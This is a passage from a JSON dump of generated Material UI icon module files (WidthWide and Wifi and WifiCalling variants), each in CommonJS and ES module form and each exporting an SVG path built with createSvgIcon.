    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4H2v16h20zM4 6h2v12H4zm16 12h-2V6h2z\"\n}), 'WidthWideSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWideSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4H2v16h20zM4 6h2v12H4zm16 12h-2V6h2z\"\n}), 'WidthWideSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWideTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M8 6h8v12H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M6 18H4V6h2zm10 0H8V6h8zm4 0h-2V6h2z\"\n}, \"1\")], 'WidthWideTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WidthWideTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M8 6h8v12H8z\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 4H4c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h16c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2M6 18H4V6h2zm10 0H8V6h8zm4 0h-2V6h2z\"\n}, \"1\")], 'WidthWideTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m1 9 2 2c4.97-4.97 13.03-4.97 18 0l2-2C16.93 2.93 7.08 2.93 1 9m8 8 3 3 3-3c-1.65-1.66-4.34-1.66-6 0m-4-4 2 2c2.76-2.76 7.24-2.76 10 0l2-2C15.14 9.14 8.87 9.14 5 13\"\n}), 'Wifi');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m1 9 2 2c4.97-4.97 13.03-4.97 18 0l2-2C16.93 2.93 7.08 2.93 1 9m8 8 3 3 3-3c-1.65-1.66-4.34-1.66-6 0m-4-4 2 2c2.76-2.76 7.24-2.76 10 0l2-2C15.14 9.14 8.87 9.14 5 13\"\n}), 'Wifi');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.53 17.46 12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'Wifi1Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.53 17.46 12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'Wifi1Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.53 17.46 12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'Wifi1BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.53 17.46 12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'Wifi1BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"circle\", {\n  cx: \"12\",\n  cy: \"18\",\n  r: \"2\"\n}), 'Wifi1BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"circle\", {\n  cx: \"12\",\n  cy: \"18\",\n  r: \"2\"\n}), 'Wifi1BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.53 17.46 12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'Wifi1BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.53 17.46 12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'Wifi1BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15.53 17.46 12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'Wifi1BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi1BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M15.53 17.46 12 21l-3.53-3.54c.9-.9 2.15-1.46 3.53-1.46s2.63.56 3.53 1.46\"\n}), 'Wifi1BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2Bar.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m0 6c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'Wifi2Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2Bar.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m0 6c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'Wifi2Bar');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2BarOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m0 6c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'Wifi2BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2BarOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m0 6c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'Wifi2BarOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2BarRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 16c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6.62-1.63c-.63-.63-.59-1.71.13-2.24C7.33 10.79 9.57 10 12 10s4.67.79 6.49 2.13c.72.53.76 1.6.13 2.24-.53.54-1.37.57-1.98.12C15.33 13.55 13.73 13 12 13s-3.33.55-4.64 1.49c-.61.44-1.45.41-1.98-.12\"\n}), 'Wifi2BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2BarRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 16c-1.1 0-2 .9-2 2s.9 2 2 2 2-.9 2-2-.9-2-2-2m-6.62-1.63c-.63-.63-.59-1.71.13-2.24C7.33 10.79 9.57 10 12 10s4.67.79 6.49 2.13c.72.53.76 1.6.13 2.24-.53.54-1.37.57-1.98.12C15.33 13.55 13.73 13 12 13s-3.33.55-4.64 1.49c-.61.44-1.45.41-1.98-.12\"\n}), 'Wifi2BarRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2BarSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m0 6c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'Wifi2BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2BarSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m0 6c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'Wifi2BarSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2BarTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m0 6c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'Wifi2BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Wifi2BarTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 10c3.03 0 5.78 1.23 7.76 3.22l-2.12 2.12C16.2 13.9 14.2 13 12 13s-4.2.9-5.64 2.35l-2.12-2.12C6.22 11.23 8.97 10 12 10m0 6c-1.38 0-2.63.56-3.53 1.46L12 21l3.53-3.54c-.9-.9-2.15-1.46-3.53-1.46\"\n}), 'Wifi2BarTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.35-.12-.75-.03-1.02.24l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1\"\n}, \"1\")], 'WifiCalling');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M22 4.95C21.79 4.78 19.67 3 16.5 3c-3.18 0-5.29 1.78-5.5 1.95L16.5 12z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M20 15.51c-1.24 0-2.45-.2-3.57-.57-.35-.12-.75-.03-1.02.24l-2.2 2.2c-2.83-1.45-5.15-3.76-6.59-6.59l2.2-2.2c.28-.28.36-.67.25-1.02C8.7 6.45 8.5 5.25 8.5 4c0-.55-.45-1-1-1H4c-.55 0-1 .45-1 1 0 9.39 7.61 17 17 17 .55 0 1-.45 1-1v-3.49c0-.55-.45-1-1-1\"\n}, \"1\")], 'WifiCalling');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling1TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M16.49 4.5c1.79 0 3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3s-4.21.9-5.66 2.34l1.06 1.06c1.19-1.17 2.81-1.9 4.6-1.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M16.49 6c-1.38 0-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03l1.06-1.06C19.12 6.56 17.87 6 16.49 6\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 9c-.55 0-1.05.22-1.41.59L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17.83c1.29.54 2.63.89 4 1.07v-2.23l-2.35-.47zM7.33 5H5.1c.18 1.37.53 2.7 1.07 4L7.8 7.35z\",\n  opacity: \".3\"\n}, \"3\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"4\")], 'WifiCalling1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling1TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M16.49 4.5c1.79 0 3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3s-4.21.9-5.66 2.34l1.06 1.06c1.19-1.17 2.81-1.9 4.6-1.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M16.49 6c-1.38 0-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03l1.06-1.06C19.12 6.56 17.87 6 16.49 6\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 9c-.55 0-1.05.22-1.41.59L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17.83c1.29.54 2.63.89 4 1.07v-2.23l-2.35-.47zM7.33 5H5.1c.18 1.37.53 2.7 1.07 4L7.8 7.35z\",\n  opacity: \".3\"\n}, \"3\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"4\")], 'WifiCalling1TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling2TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M16.49 4.5c1.79 0 3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3s-4.21.9-5.66 2.34l1.06 1.06c1.19-1.17 2.81-1.9 4.6-1.9\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 6c-1.38 0-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03l1.06-1.06C19.12 6.56 17.87 6 16.49 6m0 3c-.55 0-1.05.22-1.41.59L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59\"\n}, \"1\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M15 17.83c1.29.54 2.63.89 4 1.07v-2.23l-2.35-.47zM7.33 5H5.1c.18 1.37.53 2.7 1.07 4L7.8 7.35z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"3\")], 'WifiCalling2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling2TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  fillOpacity: \".3\",\n  d: \"M16.49 4.5c1.79 0 3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3s-4.21.9-5.66 2.34l1.06 1.06c1.19-1.17 2.81-1.9 4.6-1.9\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.49 6c-1.38 0-2.63.56-3.54 1.46l1.06 1.06c.63-.63 1.51-1.03 2.47-1.03s1.84.39 2.47 1.03l1.06-1.06C19.12 6.56 17.87 6 16.49 6m0 3c-.55 0-1.05.22-1.41.59L16.49 11l1.41-1.41c-.36-.37-.86-.59-1.41-.59\"\n}, \"1\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M15 17.83c1.29.54 2.63.89 4 1.07v-2.23l-2.35-.47zM7.33 5H5.1c.18 1.37.53 2.7 1.07 4L7.8 7.35z\",\n  opacity: \".3\"\n}, \"2\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"m20.2 14.87-3.67-.73c-.5-.1-.83.2-.9.27l-2.52 2.5c-2.5-1.43-4.57-3.5-6-6l2.5-2.52c.23-.24.33-.57.27-.9L9.13 3.8c-.09-.46-.5-.8-.98-.8H4c-.56 0-1.03.47-1 1.03.17 2.89 1.05 5.6 2.43 7.97 1.58 2.73 3.85 4.99 6.57 6.57 2.37 1.37 5.08 2.26 7.97 2.43.55.03 1.03-.43 1.03-1v-4.15c0-.48-.34-.89-.8-.98M5.1 5h2.23l.47 2.35L6.17 9c-.54-1.3-.9-2.63-1.07-4M19 18.9c-1.37-.18-2.7-.53-4-1.07l1.65-1.63 2.35.47z\"\n}, \"3\")], 'WifiCalling2TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WifiCalling3.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.49 3c-2.21 0-4.21.9-5.66 2.34l1.06 1.06c1.18-1.18 2.8-1.91 4.59-1.91s3.42.73 4.59 1.91l1.06-1.06C20.7 3.9 18.7 3 16.49 3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.03 7.46C19.12 6.56 17.87 6 16.49 6s-2.63.56-3.54 1.46l1.06 